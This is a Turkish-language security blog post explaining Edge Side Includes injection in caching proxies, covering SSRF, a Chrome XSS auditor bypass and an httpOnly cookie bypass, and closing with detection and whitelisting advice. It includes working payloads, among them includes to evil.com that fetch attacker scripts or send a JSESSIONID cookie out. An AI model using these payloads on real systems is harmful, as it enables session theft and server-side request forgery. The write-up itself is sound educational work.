Edge Side Includes (ESI): XSS'den Öte, XSS'den Ziyade!
Edge Side Includes mekanizması ile önbellekleme mekanizmalarında ortaya çıkabilecek güvenlik sorunlarını ele alan bir araştırmacı, esi kullanılan sistemlerde ssrf, xss saldırları ve httpOnly flag işaretli olmasına Cookie bilgilerini nasıl sömürülebileceğini anlatıyor.
ESI, Edge Side Includes, daha çok bellekleme işlemleri için proxy sunucularda kullanılan XML tipinde bir dizi komut seti.
Pek çoğunun aklına başlıktaki Edge'den hareketle Microsoft'un Edge browserı gelse de, Edge kelimesinden murat edilen load balancer, caching vb mekanizmaları içeren topolojilerde isteğin ulaştığı hedef makinenin arkasında bulunan makinelerdir.
Bir web sayfanız olduğunu düşünün. Bu sayfanın bir kısmı şablon diyebileceğimiz statik veriden, bir kısmı da dinamik veriden oluşuyor. Şablon olan kısmı tekrar tekrar üretmek yerine caching sunucularında tutmak, yalnızca değişen kısımları ilgili noktalardan alıp kullanıcıya göndermek istiyorsunuz. İşte bu işlem için gerekli talimatları ESI sayesinde, bu talimatları destekleyen proxy makinelerde kullanabiliyorsunuz.
<b>The Weather Website</b>
Weather for <esi:include src="/weather/name?id=$(QUERY_STRING{city_id})" />
Monday: <esi:include src="/weather/week/monday?id=$(QUERY_STRING{city_id})" />
Tuesday: <esi:include src="/weather/week/tuesday?id=$(QUERY_STRING{city_id})" />
ESI yapısı hakkında ayrıntılı bilgi için 2001 yılında yazılan spesifikasyona bakabilirsiniz.
Go Secure sitesinde Louis Dion-Marcil imzasıyla yayınlanan yazı ESI'nin SSRF, XSS ve httpOnly Flag Bypass gibi bir dizi zafiyete neden olabilecek bir atak vektörü olarak kullanılabileceğini örnekleri ile birlikte gösteriyor.
Şimdi sırası ile bu zafiyetlerin nasıl oluştuğuna bakalım.
SSRF
SSRF, Server-Side Request Forgery yani Sunucu Taraflı İstek Sahteciliği. Sunucunun saldırganın belirttiği bir siteye istek yapmasına sebep olan bir zafiyet. Peki ESI ile bunun alakası ne?
ESI komut kümesindeki "include" fonksiyonu bu fonksiyon kendisine parametre olarak verilen kaynaktan içeriği alıp, çıktıya eklenmesini sağlıyor. Saldırgan bu yolla ESI talimatını işleyecek makinenin başka bir sunucuya istek yapmasına sebep olabilir:
<esi:include src="http://evil.com/ping/" />
XSS Filtrelerini Bypass Etmek
Tarayıcıların XSS filtreleri URL'de görülen XSS payloadının HTTP yanıtına yansıtılması ile devreye giren mekanizmalardır.
ESI talimatları hiçbir zaman istemci tarafında doğrudan çalıştırılmamaktadır. Dolayısıyla browserlar için tehdit kapsamında da olmadıkları için XSS auditorları tetiklemezler. Fakat proxy sunucusu tarafından işlenen ESI kodu, ürettiği çıktıyı istemciye döndürdüğünde ortaya XSS zafiyeti çıkabilir.
Aşağıdaki kodu inceleyelim:
x=<esi:assign name="var1" value="'cript'"/><s<esi:vars name="$(var1)"/>
>alert(/Chrome%20XSS%20filter%20bypass/);</s<esi:vars name="$(var1)"/>>
<esi:assign> talimatı var1 adında bir değişken set edecek ve value'daki değeri bu değişkenin içerisinde saklayacak. $(var1) talimatı da ilgili değişken içeriğini çıktılayan bir başka talimat. Dolayısıyla bu ESI kodu sonucunda aşağıdaki çıktı elde edilecektir:
<script>alert(/Chrome%20XSS%20filter%20bypass/);</script>
Sonuç Chrome XSS Auditor'ına takılmadan XSS zafiyetinin istismar edilmesi.
Araştırmada bazı ESI implementasyonlarının var talimatını desteklemediği belirtiliyor. Yine yukarıdaki include talimatı vasıtası ile önceden saldırgan tarafından oluşturulan ve script kodu barındıran bir dosyanın çıktıya eklenmesi yöntemi denenebilir:
poc.html:
<script>alert(1)</script>
GET /index.php?msg=<esi:include src="http://evil.com/poc.html" />
Cookie httpOnly Flag Bypass
Cookie için set edilen httpOnly güvenlik flag'i Cookie'nin Javascript tarafından okunmasını, yani XSS gibi kod enjeksiyonlarında cookie'nin saldırgan tarafından elde edilmesini engellemektedir. Konunun ayrıntılarını Netsparker Türkiye Blogu'nda yayınlanan HTTP İşleyişi ve Güvenliği Açısından Cookie ve Session Yönetimi yazımızdan okuyabilirsiniz.
Proxylerde yorumlanan ESI, dizayn gereği HTTP isteklerine de erişebilmektedir. İsteğin bir parçası olan Cookie de buna dahildir. HTTP_COOKIE koleksiyonu vasıtasıyla httpOnly olarak işaretlenen Cookie'ler de elde edilebilir.
Saldırganın aşağıdaki gibi bir payload ile cookie'yi kendi kontrolündeki bir sunucuya gönderebilir.
<esi:include src="http://evil.com/?cookie=$(HTTP_COOKIE{'JSESSIONID'})" />
Ey ESI Neredeysen Çık!
Peki bir altyapının ESI komutlarını çalıştırıp çalıştırmadığını nasıl anlayabiliriz?
Bazı altyapılar, ESI içeriği barındıran ve bunun işlenmesini isteyen sunucuların HTTP response'unda bu taleplerini Surrogate-Control: content="ESI/1.0" headerı ile belirtmesini istiyorlar. Bu yanıt headerını söz konusu yapıların tespiti için kullanabiliriz.
Yahut yukarıda sözünü ettiğimiz include talimatı ile kontrolünüzdeki bir sunucuya istek yaparak enjekte ettiğiniz ESI kodunun sistem tarafından yorumlanıp yorumlanmadığını doğrulayabilirsiniz.
Önemli Bir Nokta
Genelde içerik tipi HTML (text/html) olan sayfalarımızda encoding'e başvurma eğilimindeyiz. Zira text/html dışında bir içerik tipinde modern tarayıcıların HTML kodu render etmeye çalışmayacağını biliyoruz. Pek çok örnekte de HTML tipindeki sayfalarda genellikle XSS için <,> gibi karakterleri engelleme yoluna başvuruluyor.
ESI sayesinde yeni bir risk ile karşılaşıyoruz. ESI, JSON ve CSV formatları içerisine de eklenebiliyor ve proxyler bu içerik tipinin içine eklenmiş ESI talimatlarını render edip, çıktı üretebiliyorlar.
{
"amp_volume": 11,
"message": "Reticulating Splines",
"geo_data": {
<esi:include src="/geo_information" />
}
}
Çözüm yok mu?
Kullanıcıdan alınan girdinin whitelist edilmesi burada da en önemli tedbir olarak göze çarpıyor. Yanı sıra ESI talimatları ile (örneğin include) yalnızca whitelist ettiğiniz kaynaklardan içerik yüklenmesini sağlayabilirsiniz.